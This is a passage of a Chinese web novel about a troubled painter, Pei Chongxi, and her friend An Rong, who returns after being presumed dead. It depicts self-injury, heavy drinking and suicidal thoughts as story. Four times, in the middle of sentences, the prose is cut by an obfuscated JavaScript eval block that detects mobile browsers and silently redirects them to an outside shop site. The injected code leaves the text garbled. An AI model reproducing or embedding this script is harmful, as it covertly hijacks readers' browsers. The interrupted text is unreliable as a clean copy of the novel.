裴重溪紧皱着眉头,在窗前用画笔调和颜料,重新支起一个画布开始起草。 在画画时,裴重溪习惯性地把手腕上的项链摘下,握于掌心或者放在一旁的软布上面,不敢让娇贵的珍珠沾染到丝毫颜料。 那会洗不干净的。 洗不干净,安茸一定会怪她的。 在画画时,裴重溪习惯喝点酒。 酒瓶子与颜料罐交错摆在一起,酒精味和松节油的味道混在一起并不算好闻,在不算明亮的室内中,有一股让人窒息的感觉。 下一秒,打火机点燃,裴重溪嘴角叼了一根细长的香烟。 她半眯着眼睛,难以静下心神去画画。 吞云吐雾,身体的细胞在抗拒着叫嚣。 她并不喜欢喝酒和抽烟,但是能麻痹精神的方法并不多。 “安安,你看到我这样一定会讨厌我吧。”裴重溪呢喃细语说。 …… 别墅里。 安茸自言自语说:“外面哪里有危险啊?我看你家里的危险比外面多多了,至少我在外面应该不会被饿死。” 安茸一边和自己说话,一边撸起袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323619|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子把一楼的区域打扫了一遍,将不管喝完了没喝完的酒瓶子都放到纸箱里堆在门口。 “那么大的别墅,应该会有专人来打扫。等打扫的人过来,就把这些个瓶子全部给丢掉。” 安茸嘟囔着说:“到底是谁在高一的作文里大书特书抽烟喝酒的危害性啊?” 安茸把这些散烟全部倒到了垃圾桶里,也不管上面是不是印着烫金的外国字,还是明显有手工痕迹的手工卷烟,通通都给丢掉。 “这样一打扫干净多了。”安茸双手叉腰,“如果我可以在这里打扫卫生、干活来换口饭吃和住的地方,也算不错。” “哈哈,我终于过上了给好朋友打工赚钱的好日子了。” 正在安茸自顾自乐呵的时候,她突然听到“砰”的一声,玻璃碎裂的声音从二楼传来。 安茸打包好最后一个垃圾袋,目光投向通往二楼的楼梯。 难道是裴重溪回来了? 总不可能是进贼了? 安茸想起了她和裴重溪两个人住在出租屋里,半夜遇到醉鬼敲门,裴重溪抽着一把水果刀挡在她面前的场景。 安茸也从厨房里抽出了一把尖锐的西餐刀。 一步一步地踩在了通往二楼的楼梯上。 “咔嚓”一声,手触及在门的时候,那门吱呀一声开了。 入目的是遍地的颜料、画框和各种东倒西歪的画架。 最显眼的,还是坐在地毯中央的女人。 黑色微卷的长发垂下,皮肤苍白的女人小臂上,出现了一条蜿蜒的血口子,正在往下涓涓地流淌着鲜血。 而一旁,俨然是被人为打翻了的玻璃画框。 固定在画框上的玻璃划破了皮肤,带着鲜血的玻璃碎在地毯上,折射出了冰冷的光。 “裴重溪!” 安茸尖叫一声,把手中的西餐刀赶紧丢到一边。 她提着裙子跑上去,坐在裴重溪对面。 殷红的血液顺着皮肤蜿蜒流淌到指尖,最后沿着指尖滴在了安茸的手背上。 颜料混合着鲜血粘在皮肤上,安茸俨然是被吓到了。 “怎么流那么多的血?我替你包扎一下,然后我们赶紧去医院!天呐,肯定是要缝针的吧。” 安茸慌乱地想起了学校里教的一些急救常识。 她赶忙把披在身上的白色衬衣解开,想要捂住不停流血的伤口。 这件白衬衣是裴重溪的,安茸里头穿的一件同色系的背心也是裴重溪的。 突然间,滑腻的触感触碰在了安茸的脸颊上。 裴重溪看到安茸惊恐的表情,眼底闪过慌张。 她用哄孩子的语气说:“安安,对不起,吓到你了,是裴姐姐的不对。我画不出来的时候会有点心烦……你别生裴姐姐的气好不好?” 暗红色的血液流淌在手指上,在安茸的脸颊上形成了一条五指印。 安茸急得都快哭出来了:“你疯了啊!现在受伤的是你,你和我道歉有什么用!” 一个湿漉漉的吻落在了安茸的眉间,裴重溪哄道:“我没事,别怕别怕。” 别讨厌我,也别消失不见。 5. 第 5 章 “我怕什么,你晕血你才该害怕!” 安茸彻底被这一幕给吓傻了。 脸上滑腻腻温热的触感,让安茸浑身起了一身鸡皮疙瘩。 血腥味直冲鼻腔,还混杂着些许酒精的味道,这些都不是安茸喜欢的气息。 可因为带来这些气息的人是裴重溪,她很心疼。 “你别说话了,我马上带你去医院。” 安茸现在急得满头冒汗,她直接伸手夺过了裴重溪口袋里的手机,慌忙地打开锁屏。 但现在的手机哪是十年前的手机可以比的?安茸只用过老式的小灵通,哪里用过现在的智能机。 试了好几下,显示密码错误。 安茸额头的汗水一滴滴滑落,混合着暗红色的血水滴在了手机屏幕上。 很快,一只手伸了过来,按在了手机屏幕上。 “安安,你是不是很担心我?”一双乌黑的眼睛落入了安茸的视线中。 “你放什么屁啊?我当然是担心你啊!” 安茸慌不择路地骂了一句,很快摸索到了拨号页面。 在即将要拨打急救电话时,又一只手覆盖在了手机屏幕上。 “嗯……我的伤不严重,随便包裹一下就好了,不需要去医院。” 裴重溪的声音很缓,好像受伤的人压根不是她自己一样。 海藻般的黑色长发落在裴重溪的肩膀上,此刻让她显得像是个从深海底端爬出来的、类似于人鱼般的妖怪,嘴里吐出了蛊惑之言。 整个画室的光线并不明亮。 安茸注意到了裴重溪修长的手指中夹着一根燃烧到了一半的香烟,它正在往上飘着渺渺雾气。 烟草的味道很快弥漫到了安茸的鼻息间。 安茸也不知从哪升起了一股极强的愤怒。 她一把夺过那个香烟,直接撕扯成了好几段,扔在了地上—— 裴重溪脸上错愕,看着面前穿着自己吊带衫的少女站起来,一双平日总带着笑意的眼睛,此刻愤怒地皱着盯着自己。 裴重溪此刻心里产生了强烈的慌乱。 “安安,你在生气吗?” 她最害怕安茸生气,然后彻底消失在她的世界里。 不管怎么样,不管吃多少药,她都要把安茸留下来。 十年了,每一天都在不断打磨着她的情绪,感情上面变得格外的卑微,甚至可以说得上是信徒面对唯一的神祇。 带有安茸体温的白衬衫缠绕在裴重溪受伤的小臂上。 安茸在原地站了好一会儿,用命令的口吻说:“现在,去医院。” 到底是怎么回事啊? 十年前的裴重溪还是个会晕血的、需要她照顾的、有点柔弱的性格。 切菜稍微碰到了一点手指,当即就会眼前一阵阵发黑,然后直接晕倒躺在一边。 不过十年前的裴重溪和十年后的裴重溪一样,面对伤口都是置之不理的态度。 十年前是因为实在太晕了,只能等到精神恢复才能腾出空来处理伤口。 十年后就是完全的漫不经心。 若不是十年并不会给一个人的外貌造成太大的影响,安茸都要怀疑自己找错人了。 裴重溪手指按着安茸的衬衫,把那条白色的衬衫弄得皱巴巴的,一尘不染的布料上面也多出了刺眼的血渍。 在关心我…… “快点!”安茸在上方命令道。 “马上就来。” 裴重溪停顿了片刻,最终像是彻底沉沦在了幻觉中似的,认命地站了起来。 她一步一步跟随着安茸走下楼梯,她每一步走得都非常缓慢,眼神没有盯着台阶,也没有盯着自己的伤口,而是始终追随着安茸的身影。 裴重溪心想:幻觉如此真实吗? 幻觉中的安茸和从前一样,都会在生气的时候用力皱着眉盯着她,然后气急了会双手叉腰,一副“我永远都不会再管你”的态度。 如果可以,裴重溪愿意在幻境当中迷恋地过完一辈子。 地下停车库的车不少都是裴重溪名下的。 相比于正在发胀发痛的伤口,裴重溪甚是迷恋地侧头看着安茸。 她突然凑上前,用没有沾上血的那只手勾住了安茸的掌心,两人的小拇指互相碰了碰。 “安安,你喜欢哪一辆啊?你之后去考个驾照好不好?我的所有车都给你开。如果你喜欢其他的,我也给你买。” 安茸不解地看了她一眼,然后更加气不打一处来地说:“快点去医院。” 裴重溪讪讪地闭上了嘴,拉开了最近一辆轿车的车门,坐在了驾驶位上。 安茸很熟练地拉上了安全带。 全程她的目光都紧盯着裴重溪的手腕,她监督着裴重溪设置导航,把车开到马路上汇入车流,然后紧紧盯着前方的道路和侧面不断后退的风景。 在欣赏现在城市景观的同时,也在心中暗自提防着裴重溪不去医院。 “其实我的伤口自己包扎一下就可以了,没必要去医院的。” 正在开车的裴重溪目视前方,她的声音不大,听上去像是在自言自语,“你怎么现在才出现啊? “……之前我受伤的时候你又在哪里?难道是之前伤得都不够重?不对……如果伤到这个位置会让你一直关心我的话,那我下次……” 安茸:“你在叽叽咕咕什么?说话声音大点。” 裴重溪闭上了嘴。 把车开到医院后,熟练地挂号、就诊,坐到了外科诊室里面。 眼见着医生给她消毒,然后请到了另外一间房里去缝合伤口。 安茸一直站在一旁,小声说:“有没有那种加点钱就可以不留疤的?” 安茸凑在裴重溪身边东看西看,然后小心翼翼地抬头问医生:“我姐姐一直是比较怕疼的,你缝的时候能不能小心点,或者打点麻药?” 裴重溪知道安茸是幻觉,如果回应了安茸的话,那她是需要去楼上精神科再开点药了。 医生操作动作熟练,一边缝合一边说:“已经用过麻药了。用的是美容线,价格会稍微贵一点,医保不能报。之后不会留下明显的伤口,后续还需要涂抹药膏。” 安茸若有所思地“哦”了一声。 其实医生说的大半的话她都不太能听懂。 这平平无奇的对话,听在裴重溪耳里不亚于是一道惊雷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323620|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她猛然间抬起头看了看医生,又看了看乖乖站立在自己后面,怂得都快要哭出来的安茸。 安茸弱弱开口说:“她是不是很严重啊?” 医生缝了五针,点了点头回应:“注意清淡饮食。伤口不要碰水,每天定时换药。” 安茸又“哦”了一声,接过了缴费单,上面的药物她看不懂。 全程裴重溪都抬头望着医生和安茸,突然一阵天旋地转,后脑嗡嗡地发疼。 幻觉……更加严重了。 全程裴重溪一言不发地从安茸的手里拿过药单,去缴费,去药房拿药,然后开车回家。 安茸像个小尾巴一样跟在裴重溪身后,提建议:“要不要我们去买点骨头汤?” 这本来该是作为好友的安茸亲自掏钱。 安茸从口袋里掏出了一把现金,挨个数了数,一共有十六块五毛钱。 “应该可以买一些……” 裴重溪的余光落在皱巴巴的纸币上,收回了目光说:“不用。” 在车上的时候,安茸用余光小心翼翼地搜寻着窗外的一些招工信息,只是因为车速太快了,很多招聘信息都一闪而过。 现在高中还没有毕业,没拿到高中毕业证,这种文凭应该很难找到工作吧。 安茸的头顶上如果有两个耳朵,现在已经耷拉下来了。 身后如果有一条尾巴,也必然不会激动地晃来晃去,也是一副没精打采的样子。 “我不会在你家白吃白喝的,我以后会找工作。” 十年后的世界超出了安茸的所料。 回到家后,裴重溪亲自下厨做了饭。 她自己一口没吃,坐在安茸对面看她把餐桌上的饭菜吃得一干二净,目光汇聚在安茸一双柔软的、带着浅粉色的唇上。 筷子微微往下压,安茸的双唇极为柔软,带着年轻女孩特有的色泽。 也不知是因为缺血头晕,还是严重的失眠,裴重溪现在产生了一丝恍惚。 “安安,你先去休息,我晚上还有工作需要处理。” 安茸生气说:“你们老板也太过分了吧,你受伤了还要工作。” 裴重溪只是笑笑,转身上楼,去了浴室。 裴重溪不喜欢医院里的气味。 接了一浴缸的水,将疲劳的身体彻底泡入其中。 受伤的胳膊垂在浴缸外面。 加了安眠精油的热水往上蒸腾着热气。 过去吃安眠药和褪黑素都没办法安抚的神经,此刻难得的松懈了下来。一阵困意猛地袭来。 合上眼睛,裴重溪意识模糊的最后一刻,脑海中出现了安茸咬着筷子的雪白牙齿和被筷子微微往下压的柔软嘴唇。 在两人还在上学的时候,安茸总爱突然抱住她,然后“吧唧”一下,在裴重溪的脸侧各亲一口。 “裴姐姐,你把作业借我抄好不好?我实在是不想写了,你知道的,我不是学习那块料。” 裴重溪想要拒绝,话到嘴边,突然被落在脖子上的一个亲亲打断。 裴重溪的脸色突然变红,整个脑袋都失去了思考的能力。 安茸捂着脸咯咯直笑:“我又不是男的,你脸红什么啊!” 6. 第 6 章 安茸在外头左等右等都等不到裴重溪出来。 “到底在忙什么啊?” 安茸眼见着那人说着要去工作,结果转身就去了浴室里面。 安茸记得从前裴重溪身体弱,洗澡久一会儿就会头晕。 那时候安茸还开玩笑说:“你就是过苦日子的命。如果以后咱赚大钱了去度假泡温泉,没泡一会儿你就晕过去,那像什么话。” 安茸歪着头,像只好奇的猫似的左右打量着,始终没见浴室里面有人出来。 她把碗筷收拾干净,又将本就还算整洁的别墅一楼打扫了一遍。 直到大半个小时过去了,仍然没有见到裴重溪出来。 “有钱人真麻烦,房子那么大,能打扫得过来吗?” 安茸十分孩子气地嘟囔了一句,她的注意力始终都放在紧闭着门的浴室里面。 “裴重溪!”安茸大声喊了一声。 空荡的别墅里传来回响,没有人回应。 安茸皱着眉又喊了一句:“裴重溪!你小心伤口别碰到水了。” 安茸把手中的清洁抹布放下,不放心地凑到了门口敲了敲。 “裴重溪,你在里面吗?” 隔着半透明的玻璃,浴室里面雾蒙蒙的一片。 “天哪,你别晕在里面了。怎么还和以前一样,身体娇气,又不会照顾自己?你这十年到底是怎么活的。” 安茸抱怨了一句,屈指敲了敲。“你再不说话,我就闯进去了啊。” 迎接安茸的仍然是一片宁静。 她和裴重溪从上高中开始就是朋友,住在宿舍里面,在大澡堂子里面洗习惯了,后来外出租房后又常常挤在一起洗澡,自然不存在什么害羞的情绪。 安茸“哐当”一声把浴室的门用力推开,里面一阵水雾朝门面袭来。 安茸赶紧用手挥了挥,看到的是裴重溪一只胳膊耷拉在浴缸外面,人俨然已经闭上了眼睛,缓缓睡了过去。 就差一点,鼻息就要彻底埋在水里。 安茸吓得大惊失色,她顾不得换上浴室里的拖鞋,赶紧奔了进去,把正在哗哗淌着的热水关掉,双手用力在裴重溪脸上拍了好几下。 “裴重溪你醒醒!你真是不要命了,你什么时候把自己淹死都不知道。 真是的,没有我在,你日子是怎么过的?” 安茸拍裴重溪脸的动作不小,把本就泡得双颊通红的裴重溪脸上拍得更是发红,瞧着像是受到了天大的虐待。 滴了精油的浴缸里面有绵密的泡沫,裴重溪的锁骨上也沾上了雪白的泡沫,若隐若现地浮现在水位线上。 安茸还要继续把人拉起来的动作稍有停顿。 也不知是用了什么样的泡泡,里头有一层细闪粘在了皮肤上,被润泽过的皮肤透着玉般的光彩,光是看上去就觉得滑溜溜的。 安茸没忍住在裴重溪的大腿上摸了一把。 “嗯,还是和以前一样,很好摸。不过身体比以前要好多了,看起来是有健身的习惯。” 安茸没有对自己的行为有丝毫的羞赧,反而觉得很正常。 从前在高中宿舍大澡堂里洗澡的时候,拍一拍同学的屁咕也是再正常不过的了,更别说摸一摸腿、替对方搓一搓背这种再正常不过的社交行为。 再说,如果连澡都没有一起洗过,那还谈何什么坦诚相交。 裴重溪迷迷糊糊地睁开眼睛。 睫毛被水打湿,此刻一簇一簇的,也点上了些许的闪光点。 脸颊两侧一阵火辣辣的疼,然后感受到一只手上上下下地摸在了她的大腿、小腿、膝盖弯,还有锁骨上。 抚摸的动作没有丝毫旖旎的色彩,反而像是菜市场里正在挑选合适的猪肉,时不时的拍一拍,摸一摸。 待到裴重溪彻底把眼睛睁开,看到安茸正在往她的身上浇着温水。 “你快点起来涮一涮。你们有钱人用的都是什么稀奇古怪的东西,你身上的泡泡怎么冲都冲不完。” 安茸边冲边用大拇指在裴重溪的腰侧上搓一搓,像是正在搓用洗洁精刷过一遍的厨房台面,非得磨蹭出声音来才罢休。 裴重溪:“……” 裴重溪从浴缸里站了起来,单手拿过莲蓬头,简单地冲洗掉泡沫。 后脑暗暗发疼。 “你为什么会出现在这里?” 她刚梦到和安茸在出租屋里住着的那段时间。 安茸说要帮她分担,又看她画画有天赋、学习还好,便打着要“前期投资朋友”的接口,在外头干了不少兼职。 其实只是她这个人心善。 安茸认为自己干得够多,裴重溪才有空好好学习,好好画画。 可是两人都是高中冲刺的时候,两人的时间都非常重要,谁又比谁更加高贵…… 安茸在外面没少干便利店打工和端盘子的活,一双手冬天被冻出了冻疮,只一味地用外头绿化带里的雪搓一搓,笑着和她说自己皮糙肉厚的,没事。 裴重溪从恍惚中清醒,看到安茸正在用手指勾着她放在一旁洗漱台上的珍珠项链。 安茸抬头说:“你这项链,是不是我以前送你的那一串啊?” 是裴重溪过十七岁生日,安茸在外面打工好不容易攒了百来块钱,去商场里挑的。但商场里的东西又如此贵,百来块钱只能买个最简单的款式。 裴重溪轻轻地“嗯”了一声。 她站在原地没有动,浑身上下赤条条的,没有了泡沫的遮挡,锻炼过的身体呈现在了安茸面前。 由于被沐浴液清洗润泽过一遍,皮肤上泛着莹润的光彩。 安茸看裴重溪没事后松了口气,然后板着脸指着她说:“你知不知道你刚刚都快要淹死了?如果没有我在,你在浴室里什么时候臭了都没人知道。” 女孩的眉头皱得很紧,张口就是一段责备的话语。 安茸没有把注意力再放到珍珠项链上,心中的情绪却稍微好了一点。 十年了,她的好朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323621|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还一直戴着十年前的项链,可见裴重溪确实有把她放在心上。 但是这也不能掩盖她不好好注意自己身体的错。 安茸絮絮叨叨地跟在裴重溪后面说了好久。 裴重溪拿来一条浴巾,慢条斯理地把身上的所有水珠都擦干净,然后静静看着安茸。 安茸也瞧着她,最后只得叹了一口气,败下阵来。 “好吧,我也不指望你说谢谢。你下次注意点,别又在浴缸里睡着了。如果我不在,那可就真没有办法了。” 安茸被那晦暗的目光看得浑身起了一层鸡皮疙瘩,感觉自己在对方的眼里不像是个活人,而像个正在被盯上的猎物。 伴随着水汽和淡淡的柠檬香味,裴重溪的头脑一阵恍惚。 她本就是从睡梦中清醒,长久缺乏睡眠的身体在此刻无比渴望着某种安定的、确定性的、温暖的所在。 故而,裴重溪直接把安茸推倒在了墙壁之间的夹角。 “嗯……你刚刚一直在盯着我看。” 裴重溪说这话时,目光一直垂落在安茸一张一合的嘴唇上。 刚刚安茸的絮叨,她一句话都没有听进去。 面对救命之恩,裴重溪也丝毫没有任何一点的感恩之心。 裴重溪的手指直接按在了安茸柔软的双唇上,按了按,然后又按了按,紧接着用大拇指摩擦着,直到把那双唇彻底弄成了嫣红色。 “裴重溪,你在干什么?” 安茸一阵又惊又怒。 她抬手想要把裴重溪给推走,但又顾及着裴重溪受伤的手,不敢有大的动作,只能任由着裴重溪的动作。 年轻的少女气得面颊通红。 “我在和你说正经事,没有在和你胡闹!你虚长了一把年纪,怎么比以前还要不讲道理。” 安茸以为裴重溪正在逃避话题。 少女把头歪到一边说:“好好好,我以后再也不管你好了吧。” 此话说完,安茸心里产生了一点后悔。 从前都是裴重溪照顾她多一点,但现在她发现裴重溪身边真的缺少人照顾。 一只手握住安茸的双手,力道大得让她生疼。 安茸垂眸低沉:“你有的时候真是变成了我都不认识的样子。” 如果不是这张脸和某些时候表现出的性格和十年前的裴重溪如出一辙,安茸真觉得这是一个社会潜在的危险分子。 裴重溪偏执低沉地开口:“你刚刚为什么要一直在摸我?” 安茸顿时张口结舌:“我怎么摸你了?我是想把你身上的泡沫冲干净,哪知道你们有钱人根本不兴把身体搓干净,到现在都是滑溜溜的……” 裴重溪俯身上前,双唇触碰在了安茸的脸颊上。 她重新开口询问:“你为什么要看我的身体?为什么要摸我的腿?安安,我的腿好看吗?” 安茸心里只冒出了三个字:神经病啊! 女孩子之间看一下身体,摸个腿,有什么问题啊! 7. 第 7 章 安茸压根挣脱不了裴重溪的桎梏。 只能听上方这人开口说:“我知道你一直想要离开我。我给你手机、银行卡。但是在此之前……” 一段沉默后,裴重溪突然把安茸带到了卧室里面,将人直接压倒在了柔软的被褥上。 安茸差点失声尖叫。 在猛的下坠感后,迎接后背的是极柔软的床铺。 安茸眨巴了一下眼睛,倒是没有感觉到危险,反而是觉得有点莫名其妙。 她确实是挺想要智能手机和一点钱的,但是这些东西都是裴重溪自己赚的啊。 “这和我有什么关系?” 裴重溪双唇贴在了安茸的耳边说:“安安,我们和以前一样一起睡吧。好不好?你陪我睡一觉,我就把你想要的东西都给你。” 手腕上缠着珍珠项链的裴重溪,无时无刻不在担心着幻觉的离开。 可是幻觉这种东西,哪是她想要留下就能留的。 裴重溪唇角扬出了一抹苦笑,她按住了安茸的肩膀,把人塞到了被子里面,然后像八爪鱼似的将人彻底拥入了怀中。 女人的身体热热的,身上散发着柠檬的清甜香味,这和她一贯的风格很不一样,反倒是这种略显孩子气的柠檬味道很符合安茸的喜好。 安茸不由得在她的身上嗅了嗅。经过体温熏陶的柠檬香味少了苦涩,多了几分说不上来的清甜,让安茸不由得又多吸了几口气。 “你以前不是很喜欢和我睡在一张床上吗?现在就当是我们从前在出租屋里的生活一样,好不好?” 女人的手掌划过了安茸的后背,轻缓地像是在哄孩子似的。 安茸从头到尾都没有挣扎。 安茸只觉得大概是病人的情绪都比较脆弱,再加上裴重溪虽然赚得多,但是看平时的生活估计没少被老板压榨。 就当是好好照顾照顾她吧。 安茸心里叹了一口气,伸出手同样拍了拍裴重溪的后背。 在安茸看不到的地方,裴重溪的眼睛半合着,嘴角的苦笑从来都没有落下过。她的眼角划过一行泪水,很快就隐没在了枕头里。 就当是可怜可怜我吧,不要消失。 这十年来,几乎没有一个晚上裴重溪是能够安然入睡的。 一个晚上只睡两三个小时是常有的事,白天陆陆续续能闭目浅眠,一整天都不会超过五个小时。 长期的失眠和紧绷的精神让她需要靠大量的咖啡因和酒精来刺激神经,尼古丁的摄入更是让身体产生了不自然的亢奋状态。 这是找死的行为,裴重溪知道。 裴重溪也没想过要长命百岁地活着。 不止一个不眠之夜想过,不如找一个好日子走了算了。 她也不止一次开车去安茸发生交通事故的盘山路上。 有一次,已经把脚踩在了油门上,只要用力踩到底,安茸从前说喜欢的保时捷就会冲下围栏,直接栽入群山深处,然后变成“砰”的一簇焰火燃烧。 可最终,裴重溪还是放弃了这个打算…… 她和安茸过去太穷了,穷得只剩下一颗蠢蠢欲动的真心,其余的什么都没有。 安茸总说发财了之后会如何如何,开玩笑的话语,每一条裴重溪都记在心里。 不眠夜就此终止。 安茸身上热热的,摸起来也软乎乎的。 她轻轻地哼着歌,唱着摇篮曲,没唱两句,倒把自己给哄睡着了。 裴重溪彻底合上了眼睛。 …… 一日落雪天。 春节悄然临近。 裴重溪在学校旁边租的房子老旧,北风呼呼地刮在窗子上,整个窗框和玻璃都在震动。 十七岁的裴重溪找来旧报纸,用胶带贴在玻璃上,她踮着脚用牙齿将胶带咬断。 双手环抱站在床上,看着本该透过光的玻璃此刻被灰蒙蒙的报纸蒙上,最终叹了一口气。 安茸找了份兼职,在饭店门口发传单,现在已经晚上九点钟了,该到下班的时候。 裴重溪在房里左等右等,没等来安茸,倒是等来了住在斜对面的大娘。 “你们两个小姑娘过年都不回家啊?家人不担心啊。” 裴重溪拍了拍手上的灰尘,在身上套着一件学校发的冬季校服。 她有的衣服不多,在冬季,校服是唯一体面的衣服了。 裴重溪点点头说:“不回去了。安安家离这远,我从小父母走得早,下学期课业繁忙,不如多腾点时间在学习上。” 大娘“哎”了一声,从屋里拿了还热着的肉包子,装了一袋给裴重溪。 “那,你们先拿着。你们小姑娘现在是长身体的时候,要多吃点好的。” 裴重溪怀抱着滚烫的包子,笑着应了一声。 她等不到安茸回来,便主动出门去找人。 外头的雪下得很深,下午刚清过的雪,晚上又没到了脚脖子上。 裴重溪一脚深一脚浅地走到了小吃街。 她忽然听见身后“砰”的一声,回头看去,是楼上的邻居把垃圾扔到了她们窗台。 还好现在是冬天,垃圾不会散发出恶劣的腐臭味。 裴重溪和安茸住的是二楼,面前有一个小平台,楼上没素质的邻居都会扔东西下来。 之前安茸还会对着上面叫骂,次数多了,两人也无济于事。 裴重溪淡淡地收回了目光,揣着怀里的包子往前走。 安茸手里拿着一叠传单,她的手已经被冻得通红发肿,脸上的笑容依旧带着少女的天真和热情。 “快来看看呀,烤鱼店今天促销八八折。满一百送啤酒呀。” “哥,你来看看吧,咱们店做活动。” 一张传单送到了一个中年男人面前,那男人双手插兜往前走,看都不看一眼。 安茸又笑着把传单收了回去,紧接着又把传单递到了走在一起的一家人面前。 那家人倒是接了,但走了两步之后又把传单窝成一团扔到了地面上。 安茸在大冷天里一张张地发着传单。 裴重溪站在不远处的路灯下,她看到了安茸被冻得发红的脸和已经难以弯曲的手指。 她正要上前,安茸也看到了她,赶紧挥挥手制止。 裴重溪站在路灯下面。 同样冰冷的风吹在她的脸上。 安茸身上穿着烤鱼店的制服,每说出一句话,嘴里都会冒着一团蒸腾的雾气。 安茸在那发了大半个小时,裴重溪就站在路灯下面等了大半个小时。 直到到了下班时间,安茸拿到今天加班的十块钱,像只撒欢的狗子一样跑来了裴重溪所在的路灯下面。 “啪”的一下,裴重溪被抱了个结结实实。 安茸用力把自己的脸在裴重溪的脸上蹭一蹭,“你之前说想要买素描纸来着,我也不知道那个东西多贵,要不你先拿着?” 裴重溪垂眸看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323622|199096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着沾有油污的十块钱纸币,久久没有接。 安茸把那十块钱塞到了裴重溪的口袋里。 “让我闻闻,你身上怎么香香的?嗯,有肉包子的味道。” 安茸像只热情的小狗似的,在裴重溪的身上嗅啊嗅,最后嗅到了她怀里藏着的一袋子包子上面。 “哇,是隔壁大娘包的。” 裴重溪点头说:“你拿着吃吧,顺便捂捂手。” 一同给安茸的,还有那张十块钱。 安茸没接,硬是把那十块钱塞到了裴重溪的口袋里。 “如果没有你和我分担房租,我现在还住在学校宿舍里。” 安茸双手捂着包子没舍得吃。 手冻得有点发痒,路过绿化带时揪了一点新下的雪搓在关节上说:“我有时候想,要不咱住回宿舍算了。” 裴重溪打断说:“你不是说有隔壁男宿舍的人偷你衣服。” 安茸叹了口气说:“衣服这种身外之物……” 裴重溪摇头道:“如果住宿舍里,怕是就没有包子吃了。” 安茸嗅了嗅包子的肉香味,用一双明亮的眼睛说:“是啊,如果住到宿舍里,我也不能天天和你待在一起。” 一辆敞篷车在下了细雪的马路上飞奔而过。 裴重溪和安茸互相对视一眼,安茸打了一个寒战,说:“他们不冷吗?” 裴重溪道:“有暖气,应该不冷吧。” 安茸说:“那是什么牌子的?你说我要发多少传单才能买得起?” 裴重溪沉吟了片刻说:“看牌子好像是保时捷,发传单怕是有点难买哦。” 安茸“哦”了一声说:“我们现在还年轻,以后说不定也能在雪地里开敞篷车。” 裴重溪收回了停留在马路上的目光:“听着有点傻。” 两个女孩互相对视了一眼,哈哈大笑。 “等我考上好大学,”安茸学着裴重溪的口气说,“然后再找一份好工作……唉,我这个猪脑子,要考上好大学怕是有点难哦。” …… 裴重溪睡得很熟,像是八百年没睡过一个好觉似的。 安茸迷迷糊糊醒来,摸着黑下床倒了一杯温水。 就在要重新折返上床之时,小腿突然绊到了一个柜门把手。 安茸往前踉跄了两步,回头瞪圆了眼睛,像是看刺客似的看着那门把手,同时又拍了拍胸口—— 还好没把裴重溪给吵醒。 是个明眼人就能看到裴重溪现在很是疲惫,若是吵醒了,怕再入睡就没那么简单了。 安茸弯腰要把柜子门合上。 此刻外头的云层散去,露出了一轮明亮的圆月。 柜子里是堆叠在一起的旧报纸。 稀疏月光的照耀下,安茸看清了报纸上写着的文字: 【山区大巴车发生坠亡事件,案件正在进一步调查中】 安茸翻开另外一页旧报纸,同样的新闻报道还在继续。 安茸眯着眼睛,一行行阅读文字…… “无一人生还……” 一同夹在报纸里的,还有安茸的黑白照片。 安茸:! 床上的人翻了个身,本能地就要往安茸刚刚躺着的位置上钻。 “安安……” 安茸匆匆把柜门合上,悄默声地上床,抱搂住裴重溪。 “乖啊,我在啊。” 无一人生还……是什么意思? 8. 第 8 章 想不明白的问题,安茸索性没有继续深思下去。 安茸自言自语说:“既然我还活着,那肯定是报道有失误,或许没有发现我。” 安茸躺在黑暗中,不断地抚摸着裴重溪的背,她轻声地安慰道:“好好睡,好好睡,我在。” 裴重溪嗅到了安茸的气息,感受到了她的体温,不断地往安茸的怀里钻了钻,小声嘟囔: “安安别走,再陪我一会儿,就陪我一会儿就行了。” 这十年来,裴重溪几乎没有睡一个安稳的好觉。 乍然一觉睡到了大天亮,裴重溪看着天花板一阵恍惚。 窗子没有关,外头是明晃晃的白天。 房间里空寂无人。 